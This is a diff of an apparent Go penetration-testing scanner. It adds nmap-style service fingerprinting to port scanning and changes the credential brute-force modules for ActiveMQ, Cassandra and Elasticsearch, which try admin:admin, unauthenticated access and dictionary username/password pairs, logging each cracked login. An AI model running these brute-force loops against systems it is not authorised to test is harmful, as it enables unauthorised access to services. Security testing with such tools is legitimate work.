mappedProbe := v.ProbesMapKName[mappedName]
|
||||||
|
i.GetInfo(response, &mappedProbe)
|
||||||
|
if i.Found {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 分析响应数据并获取服务信息
|
||||||
|
func (i *Info) GetInfo(response []byte, probe *Probe) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
|
||||||
|
|
||||||
|
// 响应数据长度检查
|
||||||
|
if len(response) <= 0 {
|
||||||
|
Common.LogDebug("响应数据为空")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &i.Result
|
||||||
|
var (
|
||||||
|
softMatch Match
|
||||||
|
softFound bool
|
||||||
|
)
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
|
||||||
|
// 处理主要匹配规则
|
||||||
|
if matched, match := i.processMatches(response, probe.Matchs); matched {
|
||||||
|
Common.LogDebug("找到硬匹配")
|
||||||
|
return
|
||||||
|
} else if match != nil {
|
||||||
|
Common.LogDebug("找到软匹配")
|
||||||
|
softFound = true
|
||||||
|
softMatch = *match
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理回退匹配规则
|
||||||
|
if probe.Fallback != "" {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
|
||||||
|
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
|
||||||
|
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
|
||||||
|
Common.LogDebug("回退匹配成功")
|
||||||
|
return
|
||||||
|
} else if match != nil {
|
||||||
|
Common.LogDebug("找到回退软匹配")
|
||||||
|
softFound = true
|
||||||
|
softMatch = *match
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理未找到匹配的情况
|
||||||
|
if !i.Found {
|
||||||
|
Common.LogDebug("未找到硬匹配,处理未匹配情况")
|
||||||
|
i.handleNoMatch(response, result, softFound, softMatch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// processMatches 处理匹配规则集
|
||||||
|
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
|
||||||
|
var softMatch *Match
|
||||||
|
|
||||||
|
for _, match := range *matches {
|
||||||
|
if !match.MatchPattern(response) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if !match.IsSoft {
|
||||||
|
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
|
||||||
|
i.handleHardMatch(response, &match)
|
||||||
|
return true, nil
|
||||||
|
} else if softMatch == nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
|
||||||
|
tmpMatch := match
|
||||||
|
softMatch = &tmpMatch
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, softMatch
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleHardMatch 处理硬匹配结果
|
||||||
|
func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
|
||||||
|
result := &i.Result
|
||||||
|
extras := match.ParseVersionInfo(response)
|
||||||
|
extrasMap := extras.ToMap()
|
||||||
|
|
||||||
|
result.Service.Name = match.Service
|
||||||
|
result.Extras = extrasMap
|
||||||
|
result.Banner = trimBanner(response)
|
||||||
|
result.Service.Extras = extrasMap
|
||||||
|
|
||||||
|
// 特殊处理 microsoft-ds 服务
|
||||||
|
if result.Service.Name == "microsoft-ds" {
|
||||||
|
Common.LogDebug("特殊处理 microsoft-ds 服务")
|
||||||
|
result.Service.Extras["hostname"] = result.Banner
|
||||||
|
}
|
||||||
|
|
||||||
|
i.Found = true
|
||||||
|
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleNoMatch 处理未找到匹配的情况
|
||||||
|
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||||
|
Common.LogDebug("处理未匹配情况")
|
||||||
|
result.Banner = trimBanner(response)
|
||||||
|
|
||||||
|
if !softFound {
|
||||||
|
// 尝试识别 HTTP 服务
|
||||||
|
if strings.Contains(result.Banner, "HTTP/") ||
|
||||||
|
strings.Contains(result.Banner, "html") {
|
||||||
|
Common.LogDebug("识别为HTTP服务")
|
||||||
|
result.Service.Name = "http"
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("未知服务")
|
||||||
|
result.Service.Name = "unknown"
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("使用软匹配结果")
|
||||||
|
extras := softMatch.ParseVersionInfo(response)
|
||||||
|
result.Service.Extras = extras.ToMap()
|
||||||
|
result.Service.Name = softMatch.Service
|
||||||
|
i.Found = true
|
||||||
|
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 发送数据并获取响应
|
||||||
|
func (i *Info) Connect(msg []byte) []byte {
|
||||||
|
i.Write(msg)
|
||||||
|
reply, _ := i.Read()
|
||||||
|
return reply
|
||||||
|
}
|
||||||
|
|
||||||
|
const WrTimeout = 5 // 默认超时时间(秒)
|
||||||
|
|
||||||
|
// Write 写入数据到连接
|
||||||
|
func (i *Info) Write(msg []byte) error {
|
||||||
|
if i.Conn == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置写入超时
|
||||||
|
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||||
|
|
||||||
|
// 写入数据
|
||||||
|
_, err := i.Conn.Write(msg)
|
||||||
|
if err != nil && strings.Contains(err.Error(), "close") {
|
||||||
|
i.Conn.Close()
|
||||||
|
// 重试连接
|
||||||
|
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
||||||
|
if err == nil {
|
||||||
|
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||||
|
_, err = i.Conn.Write(msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录发送的数据
|
||||||
|
if err == nil {
|
||||||
|
i.Result.Send = msg
|
||||||
|
}
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read 从连接读取响应
|
||||||
|
func (i *Info) Read() ([]byte, error) {
|
||||||
|
if i.Conn == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置读取超时
|
||||||
|
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||||
|
|
||||||
|
// 读取数据
|
||||||
|
result, err := readFromConn(i.Conn)
|
||||||
|
if err != nil && strings.Contains(err.Error(), "close") {
|
||||||
|
// 连接关闭的错误处理
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录接收到的数据
|
||||||
|
if len(result) > 0 {
|
||||||
|
i.Result.Recv = result
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// readFromConn 从连接读取数据的辅助函数
|
||||||
|
func readFromConn(conn net.Conn) ([]byte, error) {
|
||||||
|
size := 2 * 1024
|
||||||
|
var result []byte
|
||||||
|
|
||||||
|
for {
|
||||||
|
buf := make([]byte, size)
|
||||||
|
count, err := conn.Read(buf)
|
||||||
|
|
||||||
|
if count > 0 {
|
||||||
|
result = append(result, buf[:count]...)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
if len(result) > 0 {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
if err == io.EOF {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if count < size {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -11,6 +11,7 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"runtime"
|
"runtime"
|
||||||
"sort"
|
"sort"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
@ -21,15 +22,23 @@ type Addr struct {
|
|||||||
port int // 端口号
|
port int // 端口号
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ScanResult 扫描结果
|
||||||
|
type ScanResult struct {
|
||||||
|
Address string // IP地址
|
||||||
|
Port int // 端口号
|
||||||
|
Service *ServiceInfo // 服务信息
|
||||||
|
}
|
||||||
|
|
||||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||||
var AliveAddress []string
|
var results []ScanResult
|
||||||
|
var aliveAddrs []string // 新增:存储活跃地址
|
||||||
var mu sync.Mutex
|
var mu sync.Mutex
|
||||||
|
|
||||||
// 解析端口列表
|
// 解析端口列表
|
||||||
probePorts := Common.ParsePort(ports)
|
probePorts := Common.ParsePort(ports)
|
||||||
if len(probePorts) == 0 {
|
if len(probePorts) == 0 {
|
||||||
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
|
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
|
||||||
return AliveAddress
|
return aliveAddrs
|
||||||
}
|
}
|
||||||
|
|
||||||
// 排除指定端口
|
// 排除指定端口
|
||||||
@ -38,7 +47,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
// 创建通道
|
// 创建通道
|
||||||
workers := Common.ThreadNum
|
workers := Common.ThreadNum
|
||||||
addrs := make(chan Addr, 100)
|
addrs := make(chan Addr, 100)
|
||||||
results := make(chan string, 100)
|
scanResults := make(chan ScanResult, 100)
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
var workerWg sync.WaitGroup
|
var workerWg sync.WaitGroup
|
||||||
|
|
||||||
@ -48,7 +57,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
go func() {
|
go func() {
|
||||||
defer workerWg.Done()
|
defer workerWg.Done()
|
||||||
for addr := range addrs {
|
for addr := range addrs {
|
||||||
PortConnect(addr, results, timeout, &wg)
|
PortConnect(addr, scanResults, timeout, &wg)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
@ -58,9 +67,12 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
resultWg.Add(1)
|
resultWg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer resultWg.Done()
|
defer resultWg.Done()
|
||||||
for result := range results {
|
for result := range scanResults {
|
||||||
mu.Lock()
|
mu.Lock()
|
||||||
AliveAddress = append(AliveAddress, result)
|
results = append(results, result)
|
||||||
|
// 构造活跃地址字符串
|
||||||
|
aliveAddr := fmt.Sprintf("%s:%d", result.Address, result.Port)
|
||||||
|
aliveAddrs = append(aliveAddrs, aliveAddr)
|
||||||
mu.Unlock()
|
mu.Unlock()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
@ -76,24 +88,23 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
close(addrs)
|
close(addrs)
|
||||||
workerWg.Wait()
|
workerWg.Wait()
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
close(results)
|
close(scanResults)
|
||||||
resultWg.Wait()
|
resultWg.Wait()
|
||||||
|
|
||||||
return AliveAddress
|
return aliveAddrs
|
||||||
}
|
}
|
||||||
|
|
||||||
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
|
func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.WaitGroup) {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
|
|
||||||
var isOpen bool
|
var isOpen bool
|
||||||
var err error
|
var err error
|
||||||
|
var conn net.Conn
|
||||||
|
|
||||||
if Common.UseSynScan {
|
if Common.UseSynScan {
|
||||||
// SYN扫描
|
|
||||||
isOpen, err = SynScan(addr.ip, addr.port, timeout)
|
isOpen, err = SynScan(addr.ip, addr.port, timeout)
|
||||||
} else {
|
} else {
|
||||||
// 标准TCP扫描
|
conn, err = Common.WrapperTcpWithTimeout("tcp4",
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp4",
|
|
||||||
fmt.Sprintf("%s:%v", addr.ip, addr.port),
|
fmt.Sprintf("%s:%v", addr.ip, addr.port),
|
||||||
time.Duration(timeout)*time.Second)
|
time.Duration(timeout)*time.Second)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
@ -106,10 +117,57 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 记录开放端口
|
|
||||||
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
||||||
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
|
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
|
||||||
respondingHosts <- address
|
|
||||||
|
// 创建扫描结果
|
||||||
|
result := ScanResult{
|
||||||
|
Address: addr.ip,
|
||||||
|
Port: addr.port,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进行服务识别
|
||||||
|
if conn != nil {
|
||||||
|
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
|
||||||
|
if serviceInfo, err := scanner.Identify(); err == nil {
|
||||||
|
result.Service = serviceInfo
|
||||||
|
|
||||||
|
// 打印服务识别信息
|
||||||
|
var logMsg strings.Builder
|
||||||
|
logMsg.WriteString(fmt.Sprintf("服务识别 %s => ", address))
|
||||||
|
|
||||||
|
// 添加服务名称
|
||||||
|
if serviceInfo.Name != "unknown" {
|
||||||
|
logMsg.WriteString(fmt.Sprintf("[%s]", serviceInfo.Name))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加版本信息
|
||||||
|
if serviceInfo.Version != "" {
|
||||||
|
logMsg.WriteString(fmt.Sprintf(" 版本:%s", serviceInfo.Version))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加其他有用的信息
|
||||||
|
if v, ok := serviceInfo.Extras["vendor_product"]; ok && v != "" {
|
||||||
|
logMsg.WriteString(fmt.Sprintf(" 产品:%s", v))
|
||||||
|
}
|
||||||
|
if v, ok := serviceInfo.Extras["os"]; ok && v != "" {
|
||||||
|
logMsg.WriteString(fmt.Sprintf(" 系统:%s", v))
|
||||||
|
}
|
||||||
|
if v, ok := serviceInfo.Extras["info"]; ok && v != "" {
|
||||||
|
logMsg.WriteString(fmt.Sprintf(" 信息:%s", v))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果有Banner且长度合适,也输出
|
||||||
|
if len(serviceInfo.Banner) > 0 && len(serviceInfo.Banner) < 100 {
|
||||||
|
logMsg.WriteString(fmt.Sprintf(" Banner:[%s]", strings.TrimSpace(serviceInfo.Banner)))
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(logMsg.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送结果
|
||||||
|
results <- result
|
||||||
}
|
}
|
||||||
|
|
||||||
// NoPortScan 生成端口列表(不进行扫描)
|
// NoPortScan 生成端口列表(不进行扫描)
|
||||||
|
16624
Core/nmap-service-probes.txt
Normal file
16624
Core/nmap-service-probes.txt
Normal file
File diff suppressed because it is too large
Load Diff
@ -8,7 +8,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ActiveMQScan 执行 ActiveMQ 服务扫描
|
|
||||||
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
@ -16,13 +15,25 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试默认账户 admin:admin")
|
||||||
|
|
||||||
// 首先测试默认账户
|
// 首先测试默认账户
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试默认账户", retryCount+1))
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := ActiveMQConn(info, "admin", "admin")
|
flag, err := ActiveMQConn(info, "admin", "admin")
|
||||||
if flag {
|
if flag {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("ActiveMQ服务 %v:%v 成功爆破 用户名: admin 密码: admin",
|
||||||
|
info.Host, info.Ports))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("ActiveMQ服务 %v:%v 默认账户尝试失败: %v",
|
||||||
|
info.Host, info.Ports, err))
|
||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
return err
|
||||||
@ -33,32 +44,42 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["activemq"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
|
||||||
|
totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["activemq"] {
|
for _, user := range Common.Userdict["activemq"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行连接测试
|
// 执行连接测试
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
flag, err := ActiveMQConn(info, user, pass)
|
flag, err := ActiveMQConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{flag, err}
|
}{flag, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -67,6 +88,8 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success {
|
if result.success {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("ActiveMQ服务 %v:%v 成功爆破 用户名: %v 密码: %v",
|
||||||
|
info.Host, info.Ports, user, pass))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -80,17 +103,17 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -15,12 +15,20 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试无认证访问...")
|
||||||
|
|
||||||
// 首先测试无认证访问
|
// 首先测试无认证访问
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := CassandraConn(info, "", "")
|
flag, err := CassandraConn(info, "", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Cassandra服务 %v:%v 无认证访问成功",
|
||||||
|
info.Host, info.Ports))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if err != nil && Common.CheckErrs(err) != nil {
|
if err != nil && Common.CheckErrs(err) != nil {
|
||||||
@ -32,30 +40,41 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
|
totalUsers := len(Common.Userdict["cassandra"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["cassandra"] {
|
for _, user := range Common.Userdict["cassandra"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行连接
|
// 执行连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
success, err := CassandraConn(info, user, pass)
|
success, err := CassandraConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -64,6 +83,9 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success && err == nil {
|
if result.success && err == nil {
|
||||||
|
successLog := fmt.Sprintf("Cassandra服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||||
|
info.Host, info.Ports, user, pass)
|
||||||
|
Common.LogSuccess(successLog)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -79,7 +101,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
@ -90,6 +112,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -10,7 +10,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ElasticScan 执行 Elasticsearch 服务扫描
|
|
||||||
func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
@ -18,10 +17,18 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试无认证访问...")
|
||||||
|
|
||||||
// 首先测试无认证访问
|
// 首先测试无认证访问
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||||
|
}
|
||||||
flag, err := ElasticConn(info, "", "")
|
flag, err := ElasticConn(info, "", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Elasticsearch服务 %v:%v 无需认证",
|
||||||
|
info.Host, info.Ports))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if err != nil && Common.CheckErrs(err) != nil {
|
if err != nil && Common.CheckErrs(err) != nil {
|
||||||
@ -33,32 +40,42 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["elastic"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
|
||||||
|
totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["elastic"] {
|
for _, user := range Common.Userdict["elastic"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行连接尝试
|
// 执行连接尝试
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
